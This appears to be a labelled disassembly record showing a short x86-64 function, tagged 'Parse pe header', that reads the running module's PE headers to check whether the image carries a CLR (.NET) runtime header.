Function at 0x140011325
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015770
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015790
xor al, al
jmp 0x140015811
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400157a3
xor al, al
jmp 0x140015811
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400157cd
xor al, al
jmp 0x140015811
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400157e1
xor al, al
jmp 0x140015811
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400157f3
xor al, al
jmp 0x140015811
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001580f
xor al, al
jmp 0x140015811
mov al, 1
add rsp, 0x38
ret